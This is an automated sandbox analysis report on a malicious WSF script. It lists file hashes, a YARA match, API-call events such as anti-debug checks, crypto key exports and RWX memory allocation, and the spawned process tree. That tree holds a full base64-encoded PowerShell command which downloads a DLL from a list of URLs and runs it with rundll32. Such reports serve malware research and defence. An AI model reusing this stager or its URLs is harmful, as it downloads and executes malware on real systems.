Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	April 11, 2023, 9:38 a.m.	April 11, 2023, 9:40 a.m.

Size	190.4KB
Type	ASCII text, with very long lines, with CRLF line terminators
MD5	`aa211dff0d2a3aef0e2b6d950bfd1497`
SHA256	`7a1fe45468f66b1386e92439ae94a252cccf844c91460160dd4118cb19d16030`
CRC32	`C26780FE`
ssdeep	`3072:dH0fDwp806lW8uKnzQBZBRzxzIL3zK73wtVCiCVM5M4aDEfLXFSVKmuCTMOm:dKDiJ6IKnzQBZBRzxzIL3zK73wnCiC4B`
Yara	Generic_Malware_Zero - Generic Malware

wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Ffjcx.wsf
2064
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACQAUgBlAHcAYQByAGQAZQByACAAPQAgACgAIgBoAHQAdABwAHMAOgAvAC8AbABlAHMAZABlAGwAaQBjAGUAcwBkAGUAeQBhAG4AbgBpAGMAawAuAGMAbwBtAC8ARQBtAEYALwBmADcANgA0AHgAYwBMAGgAYgBHAGMALABoAHQAdABwAHMAOgAvAC8AaQBuAHQAZQByAG4AYQB0AGkAbwBuAGEAbAB2AG8AYwBhAGwAYwBvAGEAYwBoAC4AYwBvAG0ALwAzAHEAQQBaAHcALwBPAFcAWgA1ADgAUQBhAE0AcABMACwAaAB0AHQAcABzADoALwAvAG0AeQBhAG4AbQBhAHIAZwBvAGwAZgBmAGUAZABlAHIAYQB0AGkAbwBuAC4AbwByAGcALwBHADIAMgAvAGIAbQB3AGMAcwA3AE4AcgBMAFkALABoAHQAdABwAHMAOgAvAC8AZwBlAHQAYgB1AHQAdABuAC4AYwBvAG0ALwBNAEQAaAAvAFoAVABRAEgASwAzAEwATQAxAGkAbAAsAGgAdAB0AHAAcwA6AC8ALwB0AGUAbABlAGcAdQBpAGEAbgBkAG8ALgBjAG8AbQAvAGcASABaAG8ANAAvAGsARwBKAFUAbABBACwAaAB0AHQAcABzADoALwAvAGMAaABhAG4AYwBlAHIAeQBsAGEAdwAuAG4AZQB0AC8ASgBnAHoASgBYAC8AZAB0AEgAUQBCAFkALABoAHQAdABwAHMAOgAvAC8AZQBzAHQAdQBkAGkAbwB2AGkAYwB0AG8AcgBwAGEAYwBoAGUAYwBvAC4AYwBvAG0ALwBaAGsAVwBrAGwALwAwAFgANwBIAGwANgA3AE8ALABoAHQAdABwAHMAOgAvAC8AZwBvAGwAZABlAG4AbQBvAHYAaQBlAHMAYQB3AGEAcgBkAHMALgBjAG8AbQAvAGsATQB4AC8AMABSADkAQQB3AHIAUQBMAG0ALABoAHQAdABwAHMAOgAvAC8AaQBuAGcAZQBuAGkAZQByAGkAYQBjAGEAbQBwAG8AcgBpAGUAZwBvAC4AYwBvAG0ALwBaAGEATwAvAG8AawB0AE4AbQBtAEoAZQBDAGEAcwBqACwAaAB0AHQAcABzADoALwAvAGgAYQB6AG8AbgBjAGgAdQByAGMAaAAuAG8AcgBnAC8AYQB6ADQALwBOAGYAaABPAGcAaQA4ACwAaAB0AHQAcABzADoALwAvAGYAbwByAHQAdQBuAGUALgB0AHIAYQB2AGUAbAAvADQAZABBAGUALwB0AGQAUgBaAEQARwB2AEkALABoAHQAdABwAHMAOgAvAC8AYQBuAGQAcgBvAGkAZABwAG8AcwBtAGUALgBjAG8AbQAvAG8AUgA2AEIANQBIADEALwBCADkASQAwAE8ALABoAHQAdABwAHMAOgAvAC8AcgBpAGQAZQAxAGEAdAB2AC4AYwBvAG0ALwBJADgAUwBUAFcAcQAvAFMAWQBmADMAcABOAGQAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAZgBsAG8AYwBjAHUAbABhAHQAaQBuAGcARABlAGwAaQBjAGkAYQBlACAAaQBuACAAJABSAGUAdwBhAHIAZABlAHIAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAGYAbABvAGMAYwB1AGwAYQB0AGkAbgBnAEQAZQBsAGkAYwBpAGEAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANQAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwATABvAHUAbgBnAGUAcgAuAFQAYQBsAHAAaQBmAHkAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABMAG8AdQBuAGcAZQByAC4AVABhAGwAcABpAGYAeQApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABMAG8AdQBuAGcAZQByAC4AVABhAGwAcABpAGYAeQAsAE4AaQBrAG4AOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAyADsAfQB9AA=="
  2168

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (6 events)

Time & API	Arguments	Status	Return
GetComputerNameW April 11, 2023, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 11, 2023, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 11, 2023, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 11, 2023, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA April 11, 2023, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 11, 2023, 9:38 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent April 11, 2023, 9:38 a.m.			0	0

Uses Windows APIs to generate a cryptographic key (42 events)

Time & API	Arguments	Status	Return
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1060 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1620 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1620 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1620 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d0da0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d0da0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d0da0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d0da0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d0da0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d0da0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1620 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1620 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1620 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d18a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d18a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d18a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1220 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d18a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d18a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d18a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d18a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d18a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d18a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d18a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1aa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1aa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1aa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1aa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1aa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1aa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1aa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1aa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1aa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1aa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1aa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1aa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1aa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1aa0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1520 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1520 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1520 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005d1520 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx April 11, 2023, 9:38 a.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 133 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 2097152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027d0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02990000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0251a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02512000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02562000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02991000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02992000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0258a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02563000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02564000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0251b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02582000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02565000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0258c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02780000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02566000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02583000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02584000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02585000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02586000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02587000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02588000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02589000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a01000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a02000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a03000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a04000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a05000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a06000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a07000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a08000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a09000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a0a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a0b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a0c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a0d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a0e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a0f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02af0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02af1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02af2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02af3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2023, 9:38 a.m.	process_identifier: 2168 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02af4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline

